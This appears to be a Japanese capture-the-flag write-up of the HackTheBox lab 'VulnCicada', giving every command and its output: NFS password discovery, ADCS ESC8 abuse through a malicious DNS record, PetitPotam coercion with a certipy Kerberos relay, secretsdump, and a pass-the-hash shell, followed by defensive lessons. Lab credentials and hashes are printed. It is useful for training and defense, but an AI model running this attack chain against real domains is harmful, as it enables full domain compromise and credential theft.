HackTheBox: VulnCicada — 全実行コマンド・実行結果レポート
Nmap スキャン
DC ポート群 (Kerberos/LDAP/SMB/NFS)
→
DC ポート群 (Kerberos/LDAP/SMB/NFS)
NFS匿名マウント
marketing.png 付箋PW
→
marketing.png 付箋PW
Kerberos SMB認証
Rosie.Powell:Cicada123
→
Rosie.Powell:Cicada123
certipy find
ADCS ESC8 発見
→
ADCS ESC8 発見
悪性DNSレコード
bloodyAD (serialized empty struct)
→
bloodyAD (serialized empty struct)
PetitPotam強制認証
+ certipy relay → DC$証明書
→
+ certipy relay → DC$証明書
secretsdump (DRSUAPI)
Administrator NTハッシュ
→
Administrator NTハッシュ
wmiexec → user.txt + root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 5000 -T4 10.129.234.48 nmap -Pn -p 53,80,88,111,135,139,389,445,464,593,636,2049,3268,3269,3389,5985,9389 -sV -sC 10.129.234.48
RESULT
PORT STATE SERVICE VERSION 53/tcp open domain 80/tcp open http Microsoft IIS httpd 10.0 88/tcp open kerberos-sec 111/tcp open rpcbind 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.vl) 445/tcp open microsoft-ds 2049/tcp open nfs 3268/tcp open globalcatLDAP 3389/tcp open ms-wbt-server 5985/tcp open wsman 9389/tcp open adws Service Info: Host: DC-JPQ225; OS: Windows
🚨
典型的な Windows ドメインコントローラのポート構成。ドメイン名
cicada.vl、
ホスト名 DC-JPQ225。NFS (2049) が公開されている点が最初の攻撃面。
/etc/hosts 設定
BASH
netexec smb 10.129.234.48 echo "10.129.234.48 DC-JPQ225.cicada.vl cicada.vl DC-JPQ225" >> /etc/hosts
RESULT
SMB 10.129.234.48 445 DC-JPQ225 [*] x64 (name:DC-JPQ225) (domain:cicada.vl) (signing:True) (SMBv1:None) (NTLM:False)
⚠️
NTLM:False — このドメインは NTLM 認証が完全に無効化されている。
以降すべての操作を Kerberos (-k) で行う必要がある
(
/etc/krb5.conf に CICADA.VL レルムを設定)。
PHASE 2
NFS匿名マウント — 付箋パスワードの入手
NFS共有の確認とマウント
BASH
showmount -e 10.129.234.48 mkdir /mnt/vulncicada # Windows の NFS サーバーは v4.2/v4.1 をサポートしないため vers=3 を明示する mount -t nfs -o rw,vers=3 10.129.234.48:/profiles /mnt/vulncicada
RESULT
Export list for 10.129.234.48: /profiles (everyone) $ ls /mnt/vulncicada Administrator Debra.Wright Jordan.Francis Katie.Ward Richard.Gibbons Shirley.West Daniel.Marshall Jane.Carter Joyce.Andrews Rosie.Powell
⚠️
vers=3 を付けないと mount がまず NFSv4.2/v4.1 でネゴシエーションを試み、
Windows 側が対応していないため Protocol not supported でタイムアウトする。
アクセス可能なファイルの列挙
BASH
find /mnt/vulncicada -type f -ls
RESULT
-rwxrwxrwx 1 nobody nogroup 1490573 9月 14 2024 /mnt/vulncicada/Administrator/vacation.png
-rwx------ 1 nobody nogroup 1832505 9月 14 2024 /mnt/vulncicada/Rosie.Powell/marketing.png
ℹ️
marketing.png はパーミッション 700 だが、root 権限でマウントしているため
読み取り可能。vacation.png と合わせて2枚の画像を回収する。
marketing.png — 付箋に書かれたパスワード
BASH
cp /mnt/vulncicada/Rosie.Powell/marketing.png .
✅
画像には PC の前に座る人物が写っており、キーボード手前の黄色い付箋に
手書きで「Cicada123」と書かれている。手書き文字のため
tesseract OCR は
安定して読み取れず(常に空文字か自身の診断メッセージを誤検出する)、目視確認が確実。
Kerberos SMB認証の確認
BASH
# /etc/krb5.conf に CICADA.VL レルムを設定した上で netexec smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k
RESULT
SMB DC-JPQ225.cicada.vl 445 DC-JPQ225 [+] cicada.vl\Rosie.Powell:Cicada123
PHASE 3
ADCS 列挙 — ESC8 の発見
SMB共有の列挙
BASH
netexec smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k --shares
RESULT
Share Permissions Remark
----- ----------- ------
ADMIN$ Remote Admin
C$ Default share
CertEnroll READ Active Directory Certificate Services share
IPC$ READ Remote IPC
NETLOGON READ Logon server share
profiles$ READ,WRITE
SYSVOL READ Logon server share
ℹ️
CertEnroll 共有の存在から ADCS (Active Directory Certificate Services) が
稼働していることが分かる。
certipy find による脆弱性スキャン
BASH
certipy-ad find -target DC-JPQ225.cicada.vl -u Rosie.Powell@cicada.vl -p Cicada123 -k -vulnerable -stdout
RESULT
Certificate Authorities
0
CA Name : cicada-DC-JPQ225-CA
DNS Name : DC-JPQ225.cicada.vl
Web Enrollment
HTTP
Enabled : True
HTTPS
Enabled : False
Permissions
Enroll : CICADA.VL\Authenticated Users
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled over HTTP.
🚨
ESC8 脆弱性確定。 CA の Web Enrollment (証明書申請用 HTTP エンドポイント
/certsrv/certfnsh.asp) が有効で、Authenticated Users は証明書を申請できる。
NTLM/Kerberos リレー攻撃で任意アカウント(特にマシンアカウント)としての証明書取得が可能。
PHASE 4
ESC8 攻略 — PetitPotam 強制認証 + Kerberos relay
攻撃戦略
NOTE
NTLM が無効化されているため、通常の NTLM relay ではなく
"シリアライズされた空の CREDENTIAL_TARGET_INFORMATION 構造体" を悪用した
Kerberos relay 手法 (krbrelayx/Synacktiv の技法) を使う:
1. 悪性 DNS レコードを追加する。レコード名は
"<ホスト名><シリアライズされた空構造体>" で、値は自分の IP。
DC が Kerberos で認証しようとする際、この特殊な構造体により
結果的に自分の IP へ接続してくる。
2. certipy relay で ADCS の Web Enrollment エンドポイントへの
リレーを待ち受ける。
3. PetitPotam で DC マシンアカウントに悪性レコードへ強制認証させる。
4. DC が自分の IP:445 へ接続してくる → certipy relay が
ADCS Web Enrollment へ中継し、DomainController テンプレートで
証明書を発行させる。
5. 発行された証明書で DC マシンアカウント (dc-jpq225$) の
TGT と NT ハッシュを取得する。
悪性DNSレコードの追加
BASH
# レコード名 = "DC-JPQ225" + シリアライズされた空 CREDENTIAL_TARGET_INFORMATION bloodyAD -u Rosie.Powell -p Cicada123 -d cicada.vl -k --host DC-JPQ225.cicada.vl \ add dnsRecord DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 10.10.15.200
RESULT
[+] DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA has been successfully added
certipy relay リスナーの起動
BASH
certipy-ad relay -target 'http://dc-jpq225.cicada.vl/' -template DomainController \ -subject "CN=DC-JPQ225" -timeout 60
RESULT
Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Targeting http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp (ESC8) [*] Listening on 0.0.0.0:445 [*] Setting up SMB Server on port 445
🚨
重要な落とし穴: このドメインでは中継される識別情報が常に
空文字列になる。certipy-ad v5.0.4 が同梱する新しい
cryptography
ライブラリは CSR の CommonName が空だと X.509 属性長バリデーション(1〜64文字必須)に
引っかかり Attribute's length must be >= 1 and <= 64, but it was 0 で
必ず失敗する。-subject "CN=DC-JPQ225" を明示的に渡すことで
このバリデーションをバイパスできる(実際の証明書の身元は中継された実認証セッションから
CA 側で決まるため、CSR の Subject を任意の値に上書きしても安全)。
PetitPotam による強制認証
BASH
# 脆弱性の事前確認 netexec smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k -M coerce_plus # 悪性DNSレコードをLISTENERに指定して強制認証をトリガー netexec smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k -M coerce_plus \ -o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotam
RESULT
COERCE_PLUS DC-JPQ225.cicada.vl 445 DC-JPQ225 VULNERABLE, DFSCoerce COERCE_PLUS DC-JPQ225.cicada.vl 445 DC-JPQ225 VULNERABLE, PetitPotam COERCE_PLUS DC-JPQ225.cicada.vl 445 DC-JPQ225 VULNERABLE, PrinterBug ... COERCE_PLUS DC-JPQ225.cicada.vl 445 DC-JPQ225 Exploit Success, efsrpc\EfsRpcAddUsersToFile
証明書の受信
RESULT (certipy relay 側)
[*] (SMB): Received connection from 10.129.234.48, attacking target http://dc-jpq225.cicada.vl [*] HTTP Request: GET .../certfnsh.asp "HTTP/1.1 401 Unauthorized" [*] HTTP Request: GET .../certfnsh.asp "HTTP/1.1 200 OK" [*] Authenticating against http://dc-jpq225.cicada.vl as / SUCCEED [*] Requesting certificate for '\\' based on the template 'DomainController' [*] HTTP Request: POST .../certfnsh.asp "HTTP/1.1 200 OK" [*] Certificate issued with request ID 90 [*] Got certificate with DNS Host Name 'DC-JPQ225.cicada.vl' [*] Certificate object SID is 'S-1-5-21-687703393-1447795882-66098247-1000' [*] Wrote certificate and private key to 'dc-jpq225.pfx'
✅
DC マシンアカウント (
dc-jpq225$) 名義の証明書 (dc-jpq225.pfx) を取得した。
証明書で認証しTGT/NTハッシュを取得
BASH
certipy-ad auth -pfx dc-jpq225.pfx -dc-ip 10.129.234.48
RESULT
[*] Using principal: 'dc-jpq225$@cicada.vl' [*] Trying to get TGT... [*] Got TGT [*] Saving credential cache to 'dc-jpq225.ccache' [*] Trying to retrieve NT hash for 'dc-jpq225$' [*] Got hash for 'dc-jpq225$@cicada.vl': aad3b435b51404eeaad3b435b51404ee:a65952c664e9cf5de60195626edbeee3
PHASE 5
Administrator 奪取 & フラグ取得
secretsdump で Administrator のハッシュをダンプ
BASH
KRB5CCNAME=dc-jpq225.ccache secretsdump.py -k -no-pass \ "cicada.vl/dc-jpq225\$@dc-jpq225.cicada.vl" -just-dc-user administrator
RESULT
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a0da53871a9d56b6cd05deda3a5e87:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:f9181ec2240a0d172816f3b5a185b6e3e0ba773eae2c93a581d9415347153e1a
✅
DC マシンアカウントの TGT だけで、ドメイン内の任意ユーザー (Administrator含む) の
ハッシュを DRSUAPI 経由でダンプできる(マシンアカウントは DC 上で複製権限を持つため)。
wmiexec で Administrator シェルを取得
BASH
wmiexec.py cicada.vl/administrator@dc-jpq225.cicada.vl -k -hashes :85a0da53871a9d56b6cd05deda3a5e87
RESULT
[!] Launching semi-interactive shell - Careful what you execute
C:\>whoami
cicada\administrator
⚠️
echo cmd | wmiexec.py ... のようにパイプで1コマンドだけ渡す方式は不安定
(プロセスがハングしたり CCache file is not found を繰り返すことがある)。
コマンドを一旦ファイルに書き出し wmiexec.py ... < cmdfile と
リダイレクトする方が確実に動作する。
フラグ取得
BASH
C:\>type C:\Users\Administrator\Desktop\user.txt C:\>type C:\Users\Administrator\Desktop\root.txt
RESULT
de89399ff73a3d309b94cc2251ec6434 9504fd8df199c007950e0655b55a02f6
user.txt — Administrator
de89399ff73a3d309b94cc2251ec6434
root.txt — Administrator
9504fd8df199c007950e0655b55a02f6
ℹ️
ドメインコントローラ機であるため、user.txt/root.txt とも Administrator の
デスクトップにあり、同一のシェルから一度に両方取得できる。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — Administrator
de89399ff73a3d309b94cc2251ec6434
root.txt — Administrator
9504fd8df199c007950e0655b55a02f6
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| NFS匿名アクセス | /profiles 共有 (everyone) | ユーザーホームディレクトリの画像漏洩 | Medium | marketing.png の付箋に書かれた平文パスワードを目視で取得 |
| ADCS ESC8 | cicada-DC-JPQ225-CA (Web Enrollment over HTTP) | 任意アカウント(マシンアカウント含む)としての証明書取得 | Critical | PetitPotam強制認証 + Kerberos relay で DC マシンアカウント名義の証明書を取得 |
| PetitPotam / MS-EFSRPC 強制認証 | DC-JPQ225 (lsarpc/efsrpc) | DCマシンアカウントを任意ホストへ認証させる | High | 悪性DNSレコード(シリアライズされた空構造体)を経由し、NTLM無効環境でもKerberos認証を自ホストへ誘導 |
| DRSUAPI レプリケーション権限 | ドメインコントローラ | 全ドメインアカウントのハッシュダンプ | High | DCマシンアカウントのTGTでsecretsdump -just-dc-userを実行しAdministratorハッシュを取得 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap フルポートスキャン | DC構成(Kerberos/LDAP/SMB/NFS)、NTLM無効 |
| 2 | NFS | vers=3明示マウント + 画像目視確認 | Rosie.Powell:Cicada123 |
| 3 | ADCS列挙 | certipy find -vulnerable | ESC8 (Web Enrollment over HTTP) |
| 4 | relay攻撃 | bloodyAD + certipy relay + PetitPotam | DC-JPQ225$ の証明書・TGT・NTハッシュ |
| 5 | ハッシュダンプ | secretsdump (DRSUAPI) | Administrator NTハッシュ |
| 6 | シェル取得 | wmiexec (pass-the-hash) | user.txt + root.txt (両方一括取得) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| NFS共有が認証なしで公開され、ユーザーホームディレクトリの画像に平文パスワードが写っている | NFSエクスポートは信頼済みホスト/ネットワークに限定する(exportfsのIP制限)。パスワードを付箋等に書いて撮影可能な場所に置かない運用を徹底する。 |
| ADCS の Web Enrollment が暗号化されない HTTP で有効(ESC8) | Web Enrollment を無効化するか、HTTPS必須+Extended Protection for Authentication (EPA) を有効化しリレー攻撃を防ぐ。 |
| PetitPotam等の強制認証手法(EFSRPC/DFS/Printer Bug)がパッチされていない | MS-EFSRPC/MS-RPRN等のRPCインターフェースへの匿名/低権限アクセスを制限し、関連するセキュリティ更新を適用する。 |
| 低権限ドメインユーザーがDNSレコードを追加できる(既定のAD設定) | 認証済みユーザーによるDNSゾーンへの書き込み権限を必要最小限に制限する。 |

